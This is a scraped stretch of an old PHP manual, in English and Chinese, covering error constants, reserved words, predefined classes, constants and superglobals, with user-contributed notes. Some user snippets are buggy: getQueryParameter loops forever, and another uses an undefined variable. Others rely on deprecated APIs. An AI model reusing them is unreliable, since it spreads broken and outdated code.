Warnings are printed by default, but do not interrupt script execution. These indicate a problem that should have been trapped by the script before the call was made. For example, calling ereg() with an invalid regular expression.

E_ERROR

Errors are also printed by default, and execution of the script is halted after the function returns. These indicate errors that can not be recovered from, such as a memory allocation problem.

E_PARSE

Parse errors should only be generated by the parser. The code is listed here only for the sake of completeness.

E_CORE_ERROR

This is like an E_ERROR, except it is generated by the core of PHP. Functions should not generate this type of error.

E_CORE_WARNING

This is like an E_WARNING, except it is generated by the core of PHP. Functions should not generate this type of error.

E_COMPILE_ERROR

This is like an E_ERROR, except it is generated by the Zend Scripting Engine. Functions should not generate this type of error.

E_COMPILE_WARNING

This is like an E_WARNING, except it is generated by the Zend Scripting Engine. Functions should not generate this type of error.

E_USER_ERROR

This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error(). Functions should not generate this type of error.

E_USER_WARNING

This is like an E_WARNING, except it is generated by using the PHP function trigger_error(). Functions should not generate this type of error.

E_USER_NOTICE

This is like an E_NOTICE, except it is generated by using the PHP function trigger_error(). Functions should not generate this type of error.

E_ALL

All of the above. Using this error_reporting level will show all error types.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Calling User Functions | 上一级 | FAQ：常见问题


保留字列表

PHP 手册
后退 前进

附录 J. 保留字列表

目录
关键词列表
预定义变量
预定义类
预定义常量

以下是 PHP 中预定义标识符的列表。没有列在下面的标识符可以在脚本中作为自定义标识符使用。这些列表包括关键字和预定义变量、常量和类名。这些列表可能有遗漏，它是不完整的。

关键词列表

这些词语在 PHP 中有着特殊的意义。它们中有些像是函数，有些像是常量……但是它们不是的，它们只是语言结构的一部分。不能使用它们的任何一个作为常量、方法名或是类名。但是可以将它们作为变量名使用，不过这样会导致混淆。

表格 J-1. PHP 关键词

and | or | xor | __FILE__ | exception (PHP 5)
__LINE__ | array() | as | break | case
class | const | continue | declare | default
die() | do | echo() | else | elseif
empty() | enddeclare | endfor | endforeach | endif
endswitch | endwhile | eval() | exit() | extends
for | foreach | function | global | if
include() | include_once() | isset() | list() | new
print() | require() | require_once() | return() | static
switch | unset() | use | var | while
__FUNCTION__ | __CLASS__ | __METHOD__ | final (PHP 5) | php_user_filter (PHP 5)
interface (PHP 5) | implements (PHP 5) | extends | public (PHP 5) | private (PHP 5)
protected (PHP 5) | abstract (PHP 5) | clone (PHP 5) | try (PHP 5) | catch (PHP 5)
throw (PHP 5) | cfunction (PHP 4 only) | old_function (PHP 4 only) |  |

add a note add a note User Contributed Notes
al dot barrett at gmail dot com
05-May-2006 12:38
The list also seems to be missing both "parent" and "self" as well.
wsapplegate at IHATESPAM dot myrealbox dot com
01-Feb-2006 01:32
I also can't find the NULL keyword in the list. The `extends' keyword is mentioned twice, too.
10-Jan-2006 07:41
I don't see the boolean constants 'true' and 'false' listed among the reserved words/keywords/constants.
add a note add a note

后退 | 起点 | 前进
函数别名列表 | 上一级 | 预定义变量


预定义类

本节列出标准的预定义类。各种扩展库定义了其它类，其说明在各自的参考文档中。

标准类

这些类由一些内建在 PHP 中的标准函数定义。

Directory

在 dir 中用来实例化的类。

stdClass

__PHP_Incomplete_Class

自 PHP 5 起预定义的类

这些额外的预定义类是 PHP 5.0.0 引进的。

exception

php_user_filter

add a note add a note User Contributed Notes
Simon Kissane
14-Sep-2004 03:54
The above list is incomplete. For example, on my PHP 5.0 configuration (yours may differ depending on the extensions you choose to install), the following classes are predefined:

== "Core" ==
stdClass
Exception
__PHP_Incomplete_Class
php_user_filter
Directory

== Reflection API ==
ReflectionException
Reflection
ReflectionFunction
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionObject
ReflectionProperty
ReflectionExtension

== SQLLite ==
SQLiteDatabase
SQLiteResult
SQLiteUnbuffered
SQLiteException

== Standard PHP Lib. ==
RecursiveIteratorIterator
FilterIterator
ParentIterator
LimitIterator
CachingIterator
CachingRecursiveIterator
ArrayObject
ArrayIterator
DirectoryIterator
RecursiveDirectoryIterator

== SimpleXML ==
SimpleXMLElement
SimpleXMLIterator

== DOM/XSL/XPath extensions ==
DOMException
DOMStringList
DOMNameList
DOMImplementationList
DOMImplementationSource
DOMImplementation
DOMNode
DOMNameSpaceNode
DOMDocumentFragment
DOMDocument
DOMNodeList
DOMNamedNodeMap
DOMCharacterData
DOMAttr
DOMElement
DOMText
DOMComment
DOMTypeinfo
DOMUserDataHandler
DOMDomError
DOMErrorHandler
DOMLocator
DOMConfiguration
DOMCdataSection
DOMDocumentType
DOMNotation
DOMEntity
DOMEntityReference
DOMProcessingInstruction
DOMStringExtend
DOMXPath
XSLTProcessor
unknown
24-Jul-2002 01:29
It's handy to have a array of the reserved classes.....
var_dump (get_declared_classes ());
add a note add a note

后退 | 起点 | 前进
预定义变量 | 上一级 | 预定义常量


预定义常量

内核预定义常量

这些常量在 PHP 的内核中定义。它包含 PHP、Zend 引擎和 SAPI 模块。

PHP_VERSION (string)

PHP_OS (string)

PHP_EOL (string)

自 PHP 4.3.10 和 PHP 5.0.2 起可用

PHP_INT_MAX (integer)

自 PHP 4.4.0 和 PHP 5.0.5 起可用

PHP_INT_SIZE (integer)

自 PHP 4.4.0 和 PHP 5.0.5 起可用

DEFAULT_INCLUDE_PATH (string)

PEAR_INSTALL_DIR (string)

PEAR_EXTENSION_DIR (string)

PHP_EXTENSION_DIR (string)

PHP_BINDIR (string)

PHP_LIBDIR (string)

PHP_DATADIR (string)

PHP_SYSCONFDIR (string)

PHP_LOCALSTATEDIR (string)

PHP_CONFIG_FILE_PATH (string)

PHP_OUTPUT_HANDLER_START (integer)

PHP_OUTPUT_HANDLER_CONT (integer)

PHP_OUTPUT_HANDLER_END (integer)

E_ERROR (integer)

E_WARNING (integer)

E_PARSE (integer)

E_NOTICE (integer)

E_CORE_ERROR (integer)

E_CORE_WARNING (integer)

E_COMPILE_ERROR (integer)

E_COMPILE_WARNING (integer)

E_USER_ERROR (integer)

E_USER_WARNING (integer)

E_USER_NOTICE (integer)

E_ALL (integer)

E_STRICT (integer)

从 PHP 5.0.0 起有效

参见魔术常量。

标准预定义常量

这些常量是 PHP 默认定义的。

EXTR_OVERWRITE (integer)

EXTR_SKIP (integer)

EXTR_PREFIX_SAME (integer)

EXTR_PREFIX_ALL (integer)

EXTR_PREFIX_INVALID (integer)

EXTR_PREFIX_IF_EXISTS (integer)

EXTR_IF_EXISTS (integer)

SORT_ASC (integer)

SORT_DESC (integer)

SORT_REGULAR (integer)

SORT_NUMERIC (integer)

SORT_STRING (integer)

CASE_LOWER (integer)

CASE_UPPER (integer)

COUNT_NORMAL (integer)

COUNT_RECURSIVE (integer)

ASSERT_ACTIVE (integer)

ASSERT_CALLBACK (integer)

ASSERT_BAIL (integer)

ASSERT_WARNING (integer)

ASSERT_QUIET_EVAL (integer)

CONNECTION_ABORTED (integer)

CONNECTION_NORMAL (integer)

CONNECTION_TIMEOUT (integer)

INI_USER (integer)

INI_PERDIR (integer)

INI_SYSTEM (integer)

INI_ALL (integer)

M_E (float)

M_LOG2E (float)

M_LOG10E (float)

M_LN2 (float)

M_LN10 (float)

M_PI (float)

M_PI_2 (float)

M_PI_4 (float)

M_1_PI (float)

M_2_PI (float)

M_2_SQRTPI (float)

M_SQRT2 (float)

M_SQRT1_2 (float)

CRYPT_SALT_LENGTH (integer)

CRYPT_STD_DES (integer)

CRYPT_EXT_DES (integer)

CRYPT_MD5 (integer)

CRYPT_BLOWFISH (integer)

DIRECTORY_SEPARATOR (string)

SEEK_SET (integer)

SEEK_CUR (integer)

SEEK_END (integer)

LOCK_SH (integer)

LOCK_EX (integer)

LOCK_UN (integer)

LOCK_NB (integer)

HTML_SPECIALCHARS (integer)

HTML_ENTITIES (integer)

ENT_COMPAT (integer)

ENT_QUOTES (integer)

ENT_NOQUOTES (integer)

INFO_GENERAL (integer)

INFO_CREDITS (integer)

INFO_CONFIGURATION (integer)

INFO_MODULES (integer)

INFO_ENVIRONMENT (integer)

INFO_VARIABLES (integer)

INFO_LICENSE (integer)

INFO_ALL (integer)

CREDITS_GROUP (integer)

CREDITS_GENERAL (integer)

CREDITS_SAPI (integer)

CREDITS_MODULES (integer)

CREDITS_DOCS (integer)

CREDITS_FULLPAGE (integer)

CREDITS_QA (integer)

CREDITS_ALL (integer)

STR_PAD_LEFT (integer)

STR_PAD_RIGHT (integer)

STR_PAD_BOTH (integer)

PATHINFO_DIRNAME (integer)

PATHINFO_BASENAME (integer)

PATHINFO_EXTENSION (integer)

PATH_SEPARATOR (string)

CHAR_MAX (integer)

LC_CTYPE (integer)

LC_NUMERIC (integer)

LC_TIME (integer)

LC_COLLATE (integer)

LC_MONETARY (integer)

LC_ALL (integer)

LC_MESSAGES (integer)

ABDAY_1 (integer)

ABDAY_2 (integer)

ABDAY_3 (integer)

ABDAY_4 (integer)

ABDAY_5 (integer)

ABDAY_6 (integer)

ABDAY_7 (integer)

DAY_1 (integer)

DAY_2 (integer)

DAY_3 (integer)

DAY_4 (integer)

DAY_5 (integer)

DAY_6 (integer)

DAY_7 (integer)

ABMON_1 (integer)

ABMON_2 (integer)

ABMON_3 (integer)

ABMON_4 (integer)

ABMON_5 (integer)

ABMON_6 (integer)

ABMON_7 (integer)

ABMON_8 (integer)

ABMON_9 (integer)

ABMON_10 (integer)

ABMON_11 (integer)

ABMON_12 (integer)

MON_1 (integer)

MON_2 (integer)

MON_3 (integer)

MON_4 (integer)

MON_5 (integer)

MON_6 (integer)

MON_7 (integer)

MON_8 (integer)

MON_9 (integer)

MON_10 (integer)

MON_11 (integer)

MON_12 (integer)

AM_STR (integer)

PM_STR (integer)

D_T_FMT (integer)

D_FMT (integer)

T_FMT (integer)

T_FMT_AMPM (integer)

ERA (integer)

ERA_YEAR (integer)

ERA_D_T_FMT (integer)

ERA_D_FMT (integer)

ERA_T_FMT (integer)

ALT_DIGITS (integer)

INT_CURR_SYMBOL (integer)

CURRENCY_SYMBOL (integer)

CRNCYSTR (integer)

MON_DECIMAL_POINT (integer)

MON_THOUSANDS_SEP (integer)

MON_GROUPING (integer)

POSITIVE_SIGN (integer)

NEGATIVE_SIGN (integer)

INT_FRAC_DIGITS (integer)

FRAC_DIGITS (integer)

P_CS_PRECEDES (integer)

P_SEP_BY_SPACE (integer)

N_CS_PRECEDES (integer)

N_SEP_BY_SPACE (integer)

P_SIGN_POSN (integer)

N_SIGN_POSN (integer)

DECIMAL_POINT (integer)

RADIXCHAR (integer)

THOUSANDS_SEP (integer)

THOUSEP (integer)

GROUPING (integer)

YESEXPR (integer)

NOEXPR (integer)

YESSTR (integer)

NOSTR (integer)

CODESET (integer)

LOG_EMERG (integer)

LOG_ALERT (integer)

LOG_CRIT (integer)

LOG_ERR (integer)

LOG_WARNING (integer)

LOG_NOTICE (integer)

LOG_INFO (integer)

LOG_DEBUG (integer)

LOG_KERN (integer)

LOG_USER (integer)

LOG_MAIL (integer)

LOG_DAEMON (integer)

LOG_AUTH (integer)

LOG_SYSLOG (integer)

LOG_LPR (integer)

LOG_NEWS (integer)

LOG_UUCP (integer)

LOG_CRON (integer)

LOG_AUTHPRIV (integer)

LOG_LOCAL0 (integer)

LOG_LOCAL1 (integer)

LOG_LOCAL2 (integer)

LOG_LOCAL3 (integer)

LOG_LOCAL4 (integer)

LOG_LOCAL5 (integer)

LOG_LOCAL6 (integer)

LOG_LOCAL7 (integer)

LOG_PID (integer)

LOG_CONS (integer)

LOG_ODELAY (integer)

LOG_NDELAY (integer)

LOG_NOWAIT (integer)

LOG_PERROR (integer)

add a note add a note User Contributed Notes
Tea Bore
29-Sep-2005 03:09
Use get_defined_constants() to retrieve these constants.

<?php

print '<pre>';
print_r(get_defined_constants());
print '</pre>';

?>
add a note add a note

后退 | 起点 | 前进
预定义类 | 上一级 | 资源类型列表


预定义变量

自 PHP 4.1.0 起，取得外部变量的首选方法是用下面提及的超全局变量。在此之前，人们要么依赖 register_globals，要么就是长长的预定义 PHP 数组（$HTTP_*_VARS）。自 PHP 5.0.0 起，长格式的 PHP 预定义变量可以通过设置 register_long_arrays 来屏蔽。

服务器变量：$_SERVER

注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_SERVER_VARS。

$_SERVER 是一个包含诸如头信息（header）、路径（path）和脚本位置（script locations）的数组。数组的实体由 web 服务器创建。不能保证所有的服务器都能产生所有的信息；服务器可能忽略了一些信息，或者产生了一些未在下面列出的新的信息。这意味着，大量的这些变量在 CGI 1.1 规范中说明，所以应该仔细研究一下。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中不需要使用 global $_SERVER; 访问它，就如同使用 $HTTP_SERVER_VARS 一样。

$HTTP_SERVER_VARS 包含着同样的信息，但是不是一个自动全局变量（注意：$HTTP_SERVER_VARS 和 $_SERVER 是不同的变量，PHP 处理它们的方式不同）。

如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_SERVER 和 $HTTP_SERVER_VARS 数组。相关信息，请参阅安全的相关章节使用 Register Globals。这些单独的全局变量不是自动全局变量。

或许会发现下面列出的某些 $_SERVER 元素并不可用。注意，如果以命令行方式运行 PHP，下面列出的元素几乎没有有效的（或是没有任何实际意义的）。

“PHP_SELF”

当前正在执行脚本的文件名，与 document root 相关。举例来说，在 URL 地址为 http://example.com/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF'] 将会得到 /test.php/foo.bar 这个结果。__FILE__ 常量包含当前（例如包含）文件的绝对路径和文件名。

如果 PHP 以命令行方式运行，该变量在 PHP 4.3.0 之前无效。

“argv”

传递给该脚本的参数。当脚本运行在命令行方式时，argv 变量传递给程序 C 语言样式的命令行参数。当调用 GET 方法时，该变量包含请求的数据。

“argc”

包含传递给程序的命令行参数的个数（如果运行在命令行模式）。

“GATEWAY_INTERFACE”

服务器使用的 CGI 规范的版本。例如，“CGI/1.1”。

“SERVER_NAME”

当前运行脚本所在服务器主机的名称。如果该脚本运行在一个虚拟主机上，该名称是由那个虚拟主机所设置的值决定。

“SERVER_SOFTWARE”

服务器标识的字串，在响应请求时的头信息中给出。

“SERVER_PROTOCOL”

请求页面时通信协议的名称和版本。例如，“HTTP/1.0”。

“REQUEST_METHOD”

访问页面时的请求方法。例如：“GET”、“HEAD”，“POST”，“PUT”。

注: 如果请求的方式是 HEAD，PHP 脚本将在送出头信息后中止（这意味着在产生任何输出后，不再有输出缓冲）。

“REQUEST_TIME”

请求开始时的时间戳。从 PHP 5.1.0 起有效。

“QUERY_STRING”

查询（query）的字符串（URL 中第一个问号 ? 之后的内容）。

“DOCUMENT_ROOT”

当前运行脚本所在的文档根目录。在服务器配置文件中定义。

“HTTP_ACCEPT”

当前请求的 Accept: 头信息的内容。

“HTTP_ACCEPT_CHARSET”

当前请求的 Accept-Charset: 头信息的内容。例如：“iso-8859-1,*,utf-8”。

“HTTP_ACCEPT_ENCODING”

当前请求的 Accept-Encoding: 头信息的内容。例如：“gzip”。

“HTTP_ACCEPT_LANGUAGE”

当前请求的 Accept-Language: 头信息的内容。例如：“en”。

“HTTP_CONNECTION”

当前请求的 Connection: 头信息的内容。例如：“Keep-Alive”。

“HTTP_HOST”

当前请求的 Host: 头信息的内容。

“HTTP_REFERER”

链接到当前页面的前一页面的 URL 地址。不是所有的用户代理（浏览器）都会设置这个变量，而且有的还可以手工修改 HTTP_REFERER。因此，这个变量不总是真实正确的。

“HTTP_USER_AGENT”

当前请求的 User-Agent: 头信息的内容。该字符串表明了访问该页面的用户代理的信息。一个典型的例子是：Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)。也可以使用 get_browser() 得到此信息。

“HTTPS”

如果脚本是通过 HTTPS 协议被访问，则被设为一个非空的值。

“REMOTE_ADDR”

正在浏览当前页面用户的 IP 地址。

“REMOTE_HOST”

正在浏览当前页面用户的主机名。反向域名解析基于该用户的 REMOTE_ADDR。

注: 必须配置 Web 服务器来建立此变量。例如 Apache 需要在 httpd.conf 中有 HostnameLookups On。参见 gethostbyaddr()。

“REMOTE_PORT”

用户连接到服务器时所使用的端口。

“SCRIPT_FILENAME”

当前执行脚本的绝对路径名。

注: 如果脚本在 CLI 中被执行，作为相对路径，例如 file.php 或 ../file.php，$_SERVER['SCRIPT_FILENAME'] 将包含用户指定的相对路径。

“SERVER_ADMIN”

该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上，则该值是那个虚拟主机的值。

“SERVER_PORT”

服务器所使用的端口。默认为“80”。如果使用 SSL 安全连接，则这个值为用户设置的 HTTP 端口。

“SERVER_SIGNATURE”

包含服务器版本和虚拟主机名的字符串。

“PATH_TRANSLATED”

当前脚本所在文件系统（不是文档根目录）的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。

注: PHP 4.3.2 之后，PATH_TRANSLATED 在 Apache 2 SAPI 模式下不再和 Apache 1 一样隐含赋值，而是若 Apache 不生成此值，PHP 便自己生成并将其值放入 SCRIPT_FILENAME 服务器常量中。这个修改遵守了 CGI 规范，PATH_TRANSLATED 仅在 PATH_INFO 被定义的条件下才存在。

Apache 2 用户可以使用 httpd.conf 中的 AcceptPathInfo On 来定义 PATH_INFO。

“SCRIPT_NAME”

包含当前脚本的路径。这在页面需要指向自己时非常有用。__FILE__ 包含当前文件的绝对路径和文件名（例如包含文件）。

“REQUEST_URI”

访问此页面所需的 URI。例如，“/index.html”。

“PHP_AUTH_DIGEST”

当作为 Apache 模块运行时，进行 HTTP Digest 认证的过程中，此变量被设置成客户端发送的“Authorization”HTTP 头内容（以便作进一步的认证操作）。

“PHP_AUTH_USER”

当 PHP 运行在 Apache 或 IIS（PHP 5 是 ISAPI）模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的用户名。

“PHP_AUTH_PW”

当 PHP 运行在 Apache 或 IIS（PHP 5 是 ISAPI）模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的密码。

“AUTH_TYPE”

当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是认证的类型。

环境变量：$_ENV

注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_ENV_VARS。

在解析器运行时，这些变量从环境变量转变为 PHP 全局变量名称空间（namespace）。它们中的许多都是由 PHP 所运行的系统决定。完整的列表是不可能的。请查看系统的文档以确定其特定的环境变量。

其它环境变量（包括 CGI 变量），无论 PHP 是以服务器模块或是以 CGI 处理方式运行，都在这里列出了。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中不需要使用 global $_ENV; 来访问它，就如同使用 $HTTP_ENV_VARS 一样。

$HTTP_ENV_VARS 包含着同样的信息，但是不是一个自动全局变量（注意：$HTTP_ENV_VARS 和 $_ENV 是不同的变量，PHP 处理它们的方式不同）。

如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_ENV 和 $HTTP_ENV_VARS 数组。相关信息，请参阅安全的相关章节使用 Register Globals。这些单独的全局变量不是自动全局变量。

HTTP Cookies：$_COOKIE

注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_COOKIE_VARS。

通过 HTTP cookies 传递的变量组成的数组。是自动全局变量。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中不需要使用 global $_COOKIE; 来访问它，就如同使用 $HTTP_COOKIE_VARS 一样。

$HTTP_COOKIE_VARS 包含着同样的信息，但是不是一个自动全局变量（注意：$HTTP_COOKIE_VARS 和 $_COOKIE 是不同的变量，PHP 处理它们的方式不同）。

如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_COOKIE 和 $HTTP_COOKIE_VARS 数组。相关信息，请参阅安全的相关章节使用 Register Globals。这些单独的全局变量不是自动全局变量。

HTTP GET 变量：$_GET

注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_GET_VARS。

通过 HTTP GET 方法传递的变量组成的数组。是自动全局变量。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中不需要使用 global $_GET; 来访问它，就如同使用 $HTTP_GET_VARS 一样。

$HTTP_GET_VARS 包含着同样的信息，但是不是一个自动全局变量（注意：$HTTP_GET_VARS 和 $_GET 是不同的变量，PHP 处理它们的方式不同）。

如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_GET 和 $HTTP_GET_VARS 数组。相关信息，请参阅安全的相关章节使用 Register Globals。这些单独的全局变量不是自动全局变量。

HTTP POST 变量：$_POST

注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_POST_VARS。

通过 HTTP POST 方法传递的变量组成的数组。是自动全局变量。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中不需要使用 global $_POST; 来访问它，就如同使用 $HTTP_POST_VARS 一样。

$HTTP_POST_VARS 包含着同样的信息，但是不是一个自动全局变量（注意：$HTTP_POST_VARS 和 $_POST 是不同的变量，PHP 处理它们的方式不同）。

如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_POST 和 $HTTP_POST_VARS 数组。相关信息，请参阅安全的相关章节使用 Register Globals。这些单独的全局变量不是自动全局变量。

HTTP 文件上传变量：$_FILES

注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_POST_FILES。

通过 HTTP POST 方法传递的已上传文件项目组成的数组。是自动全局变量。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中不需要使用 global $_FILES; 来访问它，就如同使用 $HTTP_POST_FILES 一样。

$HTTP_POST_FILES 包含着同样的信息，但是不是一个自动全局变量（请注意 PHP 是把 $HTTP_POST_FILES 和 $_FILES 这两个变量当作不同的变量来处理的）。

如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_FILES 和 $HTTP_POST_FILES 数组。相关信息，请参阅安全的相关章节使用 Register Globals。这些单独的全局变量不是自动全局变量。

Request 变量：$_REQUEST

注: 在 PHP 4.1.0 及以后版本使用。之前的版本，没有等价的数组。

注: 在 PHP 4.3.0 之前，$_FILES 也被包括在 $_REQUEST 数组中。

此关联数组包含 $_GET，$_POST 和 $_COOKIE 中的全部内容。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味着它在所有的脚本中都有效。在函数或方法中不需要使用 global $_REQUEST; 来访问它。

如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_REQUEST 数组。相关信息，请参阅安全的相关章节使用 Register Globals。这些单独的全局变量不是自动全局变量。

Session 变量：$_SESSION

注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_SESSION_VARS。

包含当前脚本中 session 变量的数组。参阅 Session 函数文档以获得更多信息。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中不需要使用 global $_SESSION; 来访问它，就如同使用 $HTTP_SESSION_VARS 一样。

$HTTP_SESSION_VARS 包含着同样的信息，但是不是一个自动全局变量（请注意 PHP 是把 $HTTP_SESSION_VARS 和 $_SESSION 这两个变量当作不同的变量来处理的）。

如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_SESSION 和 $HTTP_SESSION_VARS 数组。相关信息，请参阅安全的相关章节使用 Register Globals。这些单独的全局变量不是自动全局变量。

Global 变量：$GLOBALS

注: $GLOBALS 在 PHP 3.0.0 及以后版本中适用。

由所有已定义全局变量组成的数组。变量名就是该数组的索引。

这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中不需要使用 global $GLOBALS; 来访问它。

前一个错误消息：$php_errormsg

$php_errormsg 是包含 PHP 产生的上一错误消息内容的变量。该变量在发生错误并且 track_errors 选项打开（默认为关闭）后才有效。

add a note add a note User Contributed Notes
17-May-2006 01:33
(it should be obvious, but that mistake is a plauge!)

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*  Never ever use $_GET in paths to filenames (include, fopen, readfile). *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

It does not help if you prefix path with something like "sites/", attacker may add ".." to path.

It does not help if you suffix path with ".html", attacker may add %00 (NUL byte) and cut off your suffix.

Trying to filter known attack vectors (known to you...) isn't much help. Variables from outside are safe only after you filter everything except known safe values.

<?php
$safe = preg_replace('/[^a-z0-9_]/i','',$_GET['unsafe']);
?>
jwl007
11-May-2006 03:36
Here's a quick function for replacing values within a query string. I use this quite a bit for ordering a list obtained from a database.

e.g.
If I want a link to order the list by firstname, I would use:
<a href=".replaceQueryString('orderby',$firstname).">first</a>.
If I want a link to order by last name, I would use:
<a href=".replaceQueryString('orderby',$lastname).">last</a>.

//$var = global query variable
//$val = new value for global query variable
function replaceQueryString($var,$val){
     global $HTTP_SERVER_VARS;
     $query_string = $HTTP_SERVER_VARS["QUERY_STRING"];
     return preg_replace("/$var=[\\d\\w]*/","$var=$val",$query_string);
}

Hope this helps someone..
jameslporter at gmail dot com
06-May-2006 03:19
Refer to CanonicalName if you are not getting the ServerName in the $_SERVER[SERVER_NAME] variable....This was a pain to figure out for me...now it works as expected by turning canonical naming on.

http://www.apacheref.com/ref/http_core/UseCanonicalName.html
tchamp
26-Apr-2006 10:24
Be careful with HTTP_HOST behind a proxy server.  Use these instead.
[HTTP_X_FORWARDED_FOR]
[HTTP_X_FORWARDED_HOST]
[HTTP_X_FORWARDED_SERVER]

In my situation, I used [HTTP_X_FORWARDED_SERVER] in place of [HTTP_HOST] in order get the machine and hostname (www.myurl.com)
Ben XO
14-Apr-2006 09:18
So you have an application in your web space, with a URL such as this:

http://<host>/<installation_path>/

and pages such as

http://<host>/<installation_path>/subfolder1/subfolder2/page.php

You have a file called config.php in <installation_path> which is include()d by all pages (in subfolders or not).

How to work out <installation_path> without hard-coding it into a config file?

<?php

// this is config.php, and it is in <installation_path>
// it is included by <installation_path>/page.php
// it is included by <installation_path>/subfolder/page2.php
// etc

$_REAL_SCRIPT_DIR = realpath(dirname($_SERVER['SCRIPT_FILENAME'])); // filesystem path of this page's directory (page.php)
$_REAL_BASE_DIR = realpath(dirname(__FILE__)); // filesystem path of this file's directory (config.php)
$_MY_PATH_PART = substr( $_REAL_SCRIPT_DIR, strlen($_REAL_BASE_DIR)); // just the subfolder part between <installation_path> and the page

$INSTALLATION_PATH = $_MY_PATH_PART
   ? substr( dirname($_SERVER['SCRIPT_NAME']), 0, -strlen($_MY_PATH_PART) )
   : dirname($_SERVER['SCRIPT_NAME'])
; // we subtract the subfolder part from the end of <installation_path>, leaving us with just <installation_path> :)

?>
todd dot kisov at yahoo dot com
03-Apr-2006 05:11
To convert query string parameter values ($_GET, $_REQUEST), which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string (%uNNNN%uNNNN%uNNNN) fast and simple is to use PECL JSON extension:

function JavaScript_Unicode_URL_2_Str($js_uni_str) {
       $res = preg_replace('/%u([[:alnum:]]{4})/', '\\u\1', $js_uni_str);
       $res = str_replace('"', '\"', $res); // if in str "
       $res = json_decode('["'.$res.'"]'); // JavaScrip array with string element
       $res = $res[0];
       $res = iconv('UTF-8', ini_get('default_charset'), $res);
       return $res;
   }
01-Apr-2006 01:56
I was unable to convince my hosting company to change their installation of PHP and therefore had to find my own way to computer $_SERVER["DOCUMENT_ROOT"].  I eventually settled on the following, which is a combination of earlier notes (with some typos corrected):

<?php
if ( ! isset($_SERVER['DOCUMENT_ROOT'] ) )
  $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(
   $_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF']) ) );
?>
mjs at beebo dot org
30-Mar-2006 05:24
Note that PHP_SELF will not be equal to REQUEST_URI under Apache if mod_rewrite has been used to move one URL to another--PHP_SELF will contain the rewritten address, and REQUEST_URI will contain the URL the user sees in their browser.
kumazatheef
18-Mar-2006 02:53
Just to clarify the " Prior to PHP 4.3.0, $_FILES information was also included in $_REQUEST." item ...

despite the fact that a file upload form item looks & kinda acts like a text item, does not mean the value will be placed in $_REQUEST ... so, you can type in the path into the text item (except Safari and a few others), but the name/value is only in $_FILES ... no trace of it is in $_REQUEST ...

Makes sense and yet not quite at the same time.
adam3000 at gmail dot com
16-Mar-2006 02:30
I was trying to find an alternative to $_SERVER['REQUEST_URI'] for a Windows NT set up and the ones below didn't really work for me so here's my solution using eustf at hotmail dot com's suggestion of $_SERVER['PHP_SELF']:

// if 'REQUEST_URI' isn't available then ...
if(!isset($_SERVER['REQUEST_URI'])) {

   // ... set my own request url and ...
   $temp_request_url = $_SERVER['PHP_SELF'];

   // ... test for and add url variables to my request url ...
   if (isset($HTTP_SERVER_VARS['QUERY_STRING'])) {
       $temp_request_url .= (strpos($updateGoTo, '?')) ? "&" : "?";
       $temp_request_url .= $HTTP_SERVER_VARS['QUERY_STRING'];
       }

} else {
   // ... otherwise use the regular 'REQUEST_URI'
   $temp_request_url = $_SERVER['REQUEST_URI'];
}
Aardvark
08-Mar-2006 05:35
$_GET may not handle query string parameter values which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string.
To handle this the query parameter value can be obtained  using a function such as:

function getQueryParameter ($strParam) {
  $aParamList = explode('&', $_SERVER['QUERY_STRING']);
  $i = 0;
  while ($i < count($aParamList)) {
   $aParam = split('=', $aParamList[$i]);
   if ($strParam == $aParam[0]) {
     return $aParam[1];
   }
  }
  return "";
}

or by directly building an array or query string values and then processing the parameter string using a function such as the "unescape" function which can be found at http://www.kanolife.com/escape/2006/03/unicode-url-escapes-in-php.html (or http://www.kanolife.com/escape/ for related info).
justin dot (nospam)george at gmail dot com
01-Mar-2006 04:00
